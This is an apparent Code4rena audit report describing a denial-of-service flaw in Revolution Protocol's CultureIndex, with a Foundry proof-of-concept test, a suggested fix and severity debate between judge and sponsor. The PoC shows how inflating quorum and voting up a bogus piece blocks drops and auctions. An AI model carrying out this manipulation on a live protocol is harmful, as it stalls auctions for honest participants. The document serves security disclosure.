CultureIndex.sol#dropTopVotedPiece() - Malicious user can manipulate topVotedPiece to DoS the whole CultureIndex and AuctionHouse

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/CultureIndex.sol#L519-L534

Vulnerability details

Impact

CultureIndex is responsible for the creation, voting and dropping (auctioning off) art pieces.

Let’s focus on dropTopVotedPiece . The function is used by the AuctionHouse to take the top voted art piece, drop it and auction it off.

function dropTopVotedPiece() public nonReentrant returns (ArtPiece memory) {
        require(msg.sender == dropperAdmin, "Only dropper can drop pieces");

        ICultureIndex.ArtPiece memory piece = getTopVotedPiece(); 
        require(totalVoteWeights[piece.pieceId] >= piece.quorumVotes, "Does not meet quorum votes to be dropped.");

        //set the piece as dropped
        pieces[piece.pieceId].isDropped = true;

        //slither-disable-next-line unused-return
        maxHeap.extractMax();

        emit PieceDropped(piece.pieceId, msg.sender);

        return pieces[piece.pieceId];
    }

Notice how the top voted piece is retrieved and then we check if totalVoteWeight > quorumVotes . This is used to check if the piece has reached it’s quorum, which is cached during creation.

newPiece.pieceId = pieceId;
        newPiece.totalVotesSupply = _calculateVoteWeight(
            erc20VotingToken.totalSupply(), 
            erc721VotingToken.totalSupply() 
        );
        newPiece.totalERC20Supply = erc20VotingToken.totalSupply(); 
        newPiece.metadata = metadata;
        newPiece.sponsor = msg.sender; 
        newPiece.creationBlock = block.number
        newPiece.quorumVotes = (quorumVotesBPS * newPiece.totalVotesSupply) / 10_000;

Notice that for quorumVotes we use the erc20VotingToken.totalSupply , erc721VotingToken.totalSupply and quorumVotesBPS.

Knowing all this, a malicious user can do the following to break dropTopVotedPiece under certain conditions.

He will call ERC20TokenEmitter#buyToken to buy the voting token, which in turn will inflate the erc20VotingToken.totalSupply , which will also increase the newPiece.quorumVotes .

After this he will create a new bogus art piece and its quorum votes will be inflated. (We are assuming that no one wants to vote for the art piece as it’s a bogus/fake art piece)

He will then vote for his new piece, making it the top voted piece, but the piece won’t reach it’s quorum so it cannot be dropped.

At this point one of the following can occur:

1. Users will wait for a new piece to be created and become top voted, dropped and auctioned off. The protocol might work normally at this point, but once the bogus/fake piece becomes top voted again, it still can’t be dropped. If the quorum for the fake piece isn’t reached, it can never be dropped, meaning that all pieces that have less votes than it and are eligible to be dropped (they reached their quorum) can never be reached, since the fake piece can technically stay there forever.
2. Users will be forced to vote for the bogus/fake piece in order to push it over it’s quorum so it can be dropped. Obviously this isn’t ideal as it requires to persuade users to spend gas to vote for something that they don’t want to, just so the protocol can continue working correctly. After the bogus piece gets dropped it needs to go into an auction, which has a duration so users will also have to wait for the auction to terminate, get settled and then the protocol can continue normally, which will waste time and increase the duration of the DoS.
3. Users that voted for a piece that is eligible to be dropped, but doesn’t have more votes than the fake piece, will be forced to create a new piece and start voting on all over again. This isn’t ideal, as the quorumVotes for the piece will be different and it isn’t even sure that the new piece will be accepted under the new market conditions.

All 3 of the scenarios are bad for the normal execution of the protocol and especially under scenario 1, can leave pieces to just rot, as they can never be reached.

Note that the malicious user that does the attack, doesn’t lose any funds, as he is just paying to buy the voting token, also the attack scenario can happen on it’s own naturally, without the use of buyToken , but it will still lead to 1 of the 3 followup scenarios.

This scenario can happen naturally, without anyone being malicious and the attack doesn't rely on the fact that anyone can call buyToken , it just makes it easier.

The sponsor has stated that in the future there will contracts that interface with buyToken , so even if access control is added to the function, it still won't fix the issue.

this is somewhat expected, but i'm not sure if it throws off the economics of the system, but ideally most people are interfacing with buyToken through the AuctionHouse, commerce contracts, or minting contracts, not buying directly.

Proof of Concept

Create a folder inside revolution/test called CustomTests , create a new file called CustomTests.t.sol , paste the following inside and run forge test --mt testTopVotedPieceCantReachQuorum -vvvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import "forge-std/console.sol";
import { Test } from "forge-std/Test.sol";
import { unsafeWadDiv } from "../../src/libs/SignedWadMath.sol";
import { ERC20TokenEmitter } from "../../src/ERC20TokenEmitter.sol";
import { IERC20TokenEmitter } from "../../src/interfaces/IERC20TokenEmitter.sol";
import { NontransferableERC20Votes } from "../../src/NontransferableERC20Votes.sol";
import { RevolutionProtocolRewards } from "@collectivexyz/protocol-rewards/src/RevolutionProtocolRewards.sol";
import { wadDiv } from "../../src/libs/SignedWadMath.sol";
import { IRevolutionBuilder } from "../../src/interfaces/IRevolutionBuilder.sol";
import { RevolutionBuilderTest } from "../RevolutionBuilder.t.sol";
import { INontransferableERC20Votes } from "../../src/interfaces/INontransferableERC20Votes.sol";
import { ERC1967Proxy } from "../../src/libs/proxy/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { CultureIndex } from "../../src/CultureIndex.sol";
import { ICultureIndex } from "../../src/interfaces/ICultureIndex.sol";

contract ERC20TokenEmitterTest is RevolutionBuilderTest {
    event Log(string, uint);

    // 1,000 tokens per day is the target emission
    uint256 tokensPerTimeUnit = 1_000;

    uint256 expectedVolume = tokensPerTimeUnit * 1e18;

    string public tokenNamePrefix = "Vrb";

    function setUp() public override {
        super.setUp();
        super.setMockParams();

        super.setERC721TokenParams("Mock", "MOCK", "https://example.com/token/", tokenNamePrefix);

        int256 oneFullTokenTargetPrice = 1 ether;

        int256 priceDecayPercent = 1e18 / 10;

        super.setERC20TokenEmitterParams(
            oneFullTokenTargetPrice,
            priceDecayPercent,
            int256(1e18 * tokensPerTimeUnit),
            creatorsAddress
        );

        super.deployMock();

        vm.deal(address(0), 100000 ether);
    }

    function testTopVotedPieceCantReachQuorum() public {
        // Setup no fees for the creator for simplicity of the test and the values
        vm.startPrank(erc20TokenEmitter.owner());
        erc20TokenEmitter.setCreatorsAddress(address(1));
        erc20TokenEmitter.setCreatorRateBps(0);
        erc20TokenEmitter.setEntropyRateBps(0);
        vm.stopPrank();

        // Set quorumVotesBps to 6000 (60%)
        vm.prank(cultureIndex.owner());
        cultureIndex._setQuorumVotesBPS(6000);

        // Setup Alice, Bob and Charlie
        address alice = address(9);
        vm.deal(alice, 100000 ether);
        address bob = address(10);
        vm.deal(bob, 100000 ether);
        address charlie = address(11);
        vm.deal(charlie, 100000 ether);

        // Bob buys tokens
        address[] memory recipients = new address[](1);
        recipients[0] = bob;
        uint256[] memory bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(bob);
        erc20TokenEmitter.buyToken{ value: 10e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );

        // Charlie buys tokens
        recipients = new address[](1);
        recipients[0] = charlie;
        bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(charlie);
        erc20TokenEmitter.buyToken{ value: 10e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );

        // Alice buys tokens
        recipients = new address[](1);
        recipients[0] = alice;
        bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(alice);
        erc20TokenEmitter.buyToken{ value: 10e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );

        vm.roll(block.number + 10);

        // Bob creates a piece
        vm.prank(bob);
        uint256 bobsPiece = createDefaultArtPiece(bob);

        vm.roll(block.number + 10);

        // Bob votes for his piece
        vm.prank(bob);
        cultureIndex.vote(bobsPiece);

        // Bob's piece is the top voted one
        assertEq(cultureIndex.topVotedPieceId(), bobsPiece);

        // Bobs piece hasn't passed it's quorum
        ICultureIndex.ArtPiece memory piece = cultureIndex.getTopVotedPiece();
        assertLt(cultureIndex.totalVoteWeights(piece.pieceId), piece.quorumVotes);

        // Alice buys tokens again
        recipients = new address[](1);
        recipients[0] = alice;
        bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(alice);
        erc20TokenEmitter.buyToken{ value: 15e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );

        vm.roll(block.number + 1);

        // Alice creates a piece
        vm.prank(alice);
        uint256 alicesPiece = createDefaultArtPiece(alice);

        vm.roll(block.number + 1);
        // Alice votes on her piece next block
        // She votes enough to be the top voted piece, but not enough to pass her quorum
        vm.prank(alice);
        cultureIndex.vote(alicesPiece);

        // Now Alice's piece is the top voted one
        assertEq(cultureIndex.topVotedPieceId(), alicesPiece);

        // Her piece is the top voted one, but hasn't reached her quorum
        piece = cultureIndex.getTopVotedPiece();
        assertLt(cultureIndex.totalVoteWeights(piece.pieceId), piece.quorumVotes);
        assertEq(piece.pieceId, alicesPiece);

        // Alice's piece cannot be dropped
        vm.startPrank(cultureIndex.dropperAdmin());
        vm.expectRevert();
        cultureIndex.dropTopVotedPiece();

        // At this point Alice's piece will stay top voted,
        // Since Bob and Charlie don't want to vote on her art piece
        // Even if they did, this way an unpopular art piece might be forced into
        // being auctioned off in the AuctionHouse, which will DoS the users of the protocol for even longer
    }

    function createArtPiece(
        string memory name,
        string memory description,
        ICultureIndex.MediaType mediaType,
        string memory image,
        string memory text,
        string memory animationUrl,
        address creatorAddress,
        uint256 creatorBps
    ) internal returns (uint256) {
        ICultureIndex.ArtPieceMetadata memory metadata = ICultureIndex.ArtPieceMetadata({
            name: name,
            description: description,
            mediaType: mediaType,
            image: image,
            text: text,
            animationUrl: animationUrl
        });

        ICultureIndex.CreatorBps[] memory creators = new ICultureIndex.CreatorBps[](1);
        creators[0] = ICultureIndex.CreatorBps({ creator: creatorAddress, bps: creatorBps });

        return cultureIndex.createPiece(metadata, creators);
    }

    function createDefaultArtPiece(address creator) public returns (uint256) {
        return
            createArtPiece(
                "Mona Lisa",
                "A masterpiece",
                ICultureIndex.MediaType.IMAGE,
                "ipfs://legends",
                "",
                "",
                creator,
                10000
            );
    }
}

Tools Used

Manual Review Foundry

Recommended Mitigation Steps

There isn't a very elegant way to fix this, as this is how a Max Heap is supposed to function. One way is to add an admin function that can forcefully drop a piece from the Max Heap.

Assessed type

DoS

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as primary issue

[raymondfam]

Duplicated submissions come with various/opposing scenarios originating from the same root cause.

[c4-pre-sort]

raymondfam marked the issue as high quality report

[rocketman-21]

one potential solution here is to let the DAO vote to axe the vote weight of malicious pieces that attempt to do this

in any case, assuming most actors in the community are good, the artists can just garner more votes than the malicious piece to bypass this issue

[c4-sponsor]

rocketman-21 (sponsor) acknowledged

[MarioPoneder]

Imho we cannot rely on most community members acting in good faith 100% of the time to prevent this from happening, therefore I am leaning more towards Medium severity since the protocol and good faith actors can be negatively impacted by this attack.

Furthermore, there is currently no way to easily circumvent this problem.

[c4-judge]

MarioPoneder marked the issue as satisfactory

[c4-judge]

MarioPoneder marked the issue as selected for report

[rocketman-21]

right @MarioPoneder but it assumes malicious vote weight > the remaining vote weight of "good" active users > quorum.

It assumes these "good users" are unable to vote for a good piece to reach the top voted piece spot

imo there could be some severe edge cases where voter apathy paired with a low quorum could make this possible, but with a sufficient active voting base and a solid quorum, I don't think the assumption that a malicious user will always be able to have the largest amount of vote weight vs. everyone else actually holds up in a real world scenario?

if quorum is low and voter turnout is low that's a different story

[rocketman-21]

it's a balancing act - if the quorum is too high this can happen in any case. I think this is fair on second thought in some edge cases, just not sure how to fix

[osmanozdemir1]

Hi @MarioPoneder Thanks for judging this contest.

The explained scenario can be produced as PoC but it doesn't realistic for an active protocol with tens/hundreds of users.

For this to happen:

1. Fake art piece must be top voted.
2. But it also must not reach the quorum.
3. And other pieces must have less votes than the fake one, but also reach to the quorum.

Besides,

Note that the malicious user that does the attack, doesn’t lose any funds, as he is just paying to buy the voting token

This implies the attack is not costly but it is incorrect since the voting token is not transferable. The attacker can not sell or swap these tokens. "Just paying to buy voting token" is in fact a huge cost for the token that worths nothing in terms of money. Also it needs to be more than everyone else's total voting power to actually perform this attack. If community can surpass the attacker's fake token's vote count, the attacker must create another fake art piece and must buy additional voting power.

[MarioPoneder]

Thanks everyone for their input!

I agree that the attack path is rather hand-wavy. However, the described problem can also occur naturally without an attacker.
See report:

This scenario can happen naturally, without anyone being malicious and the attack doesn't rely on the fact that anyone can call buyToken , it just makes it easier.

See sponsor:

it's a balancing act - if the quorum is too high this can happen in any case. I think this is fair on second thought in some edge cases, just not sure how to fix

As the report also comes with a PoC (even though with an attacker) that proves that the protocol can be brought into this state, maintaining Medium severity seems appropriate.

[rocketman-21]

https://github.com/collectivexyz/revolution-protocol/pull/89

fix here to not pause the auction fully, but let the community try to garner enough votes, and adds createAuction function